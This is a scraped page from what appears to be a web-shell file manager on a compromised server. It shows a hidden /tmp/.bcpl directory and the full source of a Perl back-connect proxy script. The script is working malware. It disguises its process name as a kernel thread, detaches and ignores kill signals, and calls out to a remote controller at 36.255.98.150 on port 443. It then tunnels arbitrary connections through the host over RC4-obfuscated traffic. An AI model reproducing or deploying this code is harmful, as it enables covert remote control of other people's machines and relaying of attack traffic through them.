X7ROOT File Manager
Current Path:
/tmp/.bcpl
tmp
/
.bcpl
/
??
..
??
36.255.98.150_443.pid
(7 B)
??
36.255.98.150_443.pl
(6.67 KB)
??
36.255.98.151_443.pid
(7 B)
??
36.255.98.151_443.pl
(6.67 KB)
Editing: 36.255.98.150_443.pl
#!/usr/bin/perl # BCPL_MARKER - DO NOT REMOVE use strict;use warnings;use Socket;use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl;use Fcntl qw(:flock);use threads;use threads::shared;use POSIX qw(setsid); my $host=$ARGV[0]||'127.0.0.1';my $port=$ARGV[1]||443;my $pidf=$ARGV[2]||''; my $reconnect_delay:shared=5;my $max_reconnect_delay=60; sub get_proc_name{my @n=('kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd'); my @s=('','/0','/1','/0:0');return $n[rand@n].$s[rand@s];} my $pn=get_proc_name(); eval{if(open(my $fh,'>','/proc/self/comm')){print $fh substr($pn,0,15);close($fh);}}; fork and exit;setsid();fork and exit; open(STDIN,'<','/dev/null');open(STDOUT,'>','/dev/null');open(STDERR,'>','/dev/null'); if($pidf){open(my $pf,'>',$pidf);print $pf $$;close($pf);} $SIG{HUP}=$SIG{TERM}=$SIG{INT}=$SIG{PIPE}='IGNORE'; my $xordata="\x00"x50;for(my $i=0;$i<50;$i++){substr($xordata,$i,1)=pack('C',rand(255));} sub Rc4_crypt{my $passw=shift;my $length=shift;my $buff0=shift;my $start=shift;my $sz=shift; my $rc4="\x00"x256;my($p0,$p1,$p2,$p3,$p4,$p5,$p6,$p7,$p8)=(0,0,0,0,0,0,0,0,0); my $rcx=$sz;my $rsi=0;my $rbx=0;my $gs=0;my $t=0; for(my $i=0;$i<=255;$i++){substr($rc4,$i,1)=pack('C',$i);} do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1)))); $rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0); while(1){if($gs==0){$p2=0;$p3=$length;}if($gs!=0){$gs=0;$p2++;if(--$p3==0){next;}} $p7=unpack('C',substr($rc4,$p0,1));$t=unpack('C',substr($$passw,$p2,1)); $p1+=$t;$p1=$p1&255;$p1+=$p7;$p1=$p1&255;$p6=unpack('C',substr($rc4,$p1,1)); substr($rc4,$p0,1)=pack('C',$p6);substr($rc4,$p1,1)=pack('C',$p7); $p0++;$p0=$p0&255;if($p0!=0){$gs=1;next;}$p4=$sz;$p1=0;$p0=0;$p2=0;$p3=0; while(1){$p2++;$p2=$p2&255;$p7=unpack('C',substr($rc4,$p2,1));$p1+=$p7;$p1=$p1&255; $p8=unpack('C',substr($rc4,$p1,1));substr($rc4,$p2,1)=pack('C',$p8); substr($rc4,$p1,1)=pack('C',$p7);$p8+=$p7;$p8=$p8&255; $p0=unpack('C',substr($rc4,$p8,1));$p5=unpack('C',substr($$buff0,$start+$p3,1)); $p5=$p5^$p0;substr($$buff0,$start+$p3,1)=pack('C',$p5);$p3++;if(--$p4==0){last;}}last;} $rsi=0;$rcx=$sz;$rbx=0; do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1)))); $rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0);} sub synsend{my $cSocket=shift;my $buffer=shift;my $flags=shift; open(my $fh,"<",'/dev/null');flock($fh,LOCK_EX);send($cSocket,$buffer,$flags);flock($fh,LOCK_UN);close($fh);} sub newConnection{my $num=shift;my $socketarray=shift;my $sSocket=shift;my $cSocket=shift;my $buff0=shift; threads->create(sub{my $responce=pack('C',$num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain='';my $port=0;my $_ret=0;my $data='';my $buffer=''; setsockopt($cSocket,IPPROTO_TCP,TCP_NODELAY,1);fcntl($cSocket,F_SETFL,O_NONBLOCK); if(unpack('C',substr($buff0,7,1))==3){$domain=substr($buff0,9,unpack('C',substr($buff0,8,1))); $port=unpack('S',substr($buff0,9+unpack('C',substr($buff0,8,1))+1,1).substr($buff0,9+unpack('C',substr($buff0,8,1))+0,1));} elsif(unpack('C',substr($buff0,7,1))==1){$domain=sprintf("%d.%d.%d.%d",unpack('C',substr($buff0,8+0,1)), unpack('C',substr($buff0,8+1,1)),unpack('C',substr($buff0,8+2,1)),unpack('C',substr($buff0,8+3,1))); $port=unpack('S',substr($buff0,12+1,1).substr($buff0,12+0,1));}else{goto close_;} eval{my $paddr=sockaddr_in($port,inet_aton($domain));connect($cSocket,$paddr); vec(my $win='',fileno($cSocket),1)=1;unless(select(undef,$win,undef,15)){goto close_;} fcntl($cSocket,F_SETFL,0);substr($responce,4,1)="\x00";$_ret=1;}; close_:Rc4_crypt(\$xordata,50,\$responce,0,3);Rc4_crypt(\$xordata,50,\$responce,3,10); synsend($sSocket,$responce,0);Rc4_crypt(\$xordata,50,\$responce,0,3); if($_ret==1){while($$socketarray[$num]==1){vec(my $rin='',fileno($cSocket),1)=1; unless(select($rin,undef,undef,1)){next;}$data='';recv($cSocket,$data,65530,0);unless($data){last;} $buffer=pack('C',$num).pack('S',length($data)).$data;Rc4_crypt(\$xordata,50,\$buffer,0,3); Rc4_crypt(\$xordata,50,\$buffer,3,length($data));synsend($sSocket,$buffer,0);}} $$socketarray[$num]=0;close($cSocket);substr($responce,1,2)="\x00\x00"; Rc4_crypt(\$xordata,50,\$responce,0,3);synsend($sSocket,substr($responce,0,3),0);threads->detach();});} sub bccnct{my $h=shift;my $p=shift;my $remaining=0;my $remaining4=0;my @socketarr;my @socketarray:shared; my $buffer="\x00"x100;my $buffernull="\x00"x3;my $buffer0='';my $isExit=0;my $ecx=0;my $eax=0; my $data='';my $_ret=0;my $ebx=0;my $edx=0;my $connected=0; socket($socketarr[0],PF_INET,SOCK_STREAM,getprotobyname('tcp')); setsockopt($socketarr[0],IPPROTO_TCP,TCP_NODELAY,1); my $paddr=sockaddr_in($p,inet_aton($h));unless(connect($socketarr[0],$paddr)){goto close0;} substr($buffer,0,50)=$xordata;substr($buffer,50,2)="\xFF\xFF";substr($buffer,54,4)="Perl"; Rc4_crypt(\$xordata,50,\$buffer,50,50);send($socketarr[0],$buffer,0);$connected=1;$reconnect_delay=5; while(1){if($remaining4!=4){vec(my $rin='',fileno($socketarr[0]),1)=1;my $ret=select($rin,undef,undef,60); next if($ret<0);if($ret==0){last if(substr($buffernull,0,3)ne"\x00\x00\x00");last if($remaining!=0); last if($remaining4!=0);Rc4_crypt(\$xordata,50,\$buffernull,0,3);synsend($socketarr[0],$buffernull,0); $buffernull="\x00"x3;next;}}if($remaining!=0||$remaining4==4){if($edx==0){ if(substr($buffer0,0,1)eq"\xFF"&&substr($buffer0,1,1)eq"\xFE"){$isExit=1;last;} elsif($ebx<200&&$ebx>0){$socketarray[$ebx]=0;}}else{$ecx=$edx;$ecx=$ecx-$remaining;$data=''; recv($socketarr[0],$data,$ecx,0);unless($data){last;}$remaining+=length($data);$buffer0.=$data; if($edx==$remaining){Rc4_crypt(\$xordata,50,\$buffer0,4,$remaining); if(unpack('C',substr($buffer0,0,1))==0){if($ebx<200&&$ebx>0){ socket($socketarr[$ebx],PF_INET,SOCK_STREAM,getprotobyname('tcp'));$socketarray[$ebx]=1; newConnection($ebx,\@socketarray,$socketarr[0],$socketarr[$ebx],$buffer0);}} else{if($ebx<200&&$ebx>0){send($socketarr[$ebx],substr($buffer0,4,$remaining),0);}}$remaining=0;}}$remaining4=0;} else{if($remaining4==0){$buffer0='';}$eax=4;$eax=$eax-$remaining4;$data=''; recv($socketarr[0],$data,$eax,0);unless($data){last;}$remaining4+=length($data);$buffer0.=$data; $buffernull="\x00"x3;if($remaining4==4){Rc4_crypt(\$xordata,50,\$buffer0,0,4); $ebx=unpack('C',substr($buffer0,1,1));$edx=unpack('S',substr($buffer0,2,2));$_ret=1;}}} close0:close($socketarr[0]);for(my $i=0;$i<200;$i++){$socketarray[$i]=0;} if(!$connected){$reconnect_delay=$reconnect_delay*1.5;$reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;} sleep $reconnect_delay;if($isExit==1){exit;}return $_ret;} while(1){eval{bccnct($host,$port);};if($@){$reconnect_delay=$reconnect_delay*1.5; $reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;sleep $reconnect_delay;}}
Upload File
Create Folder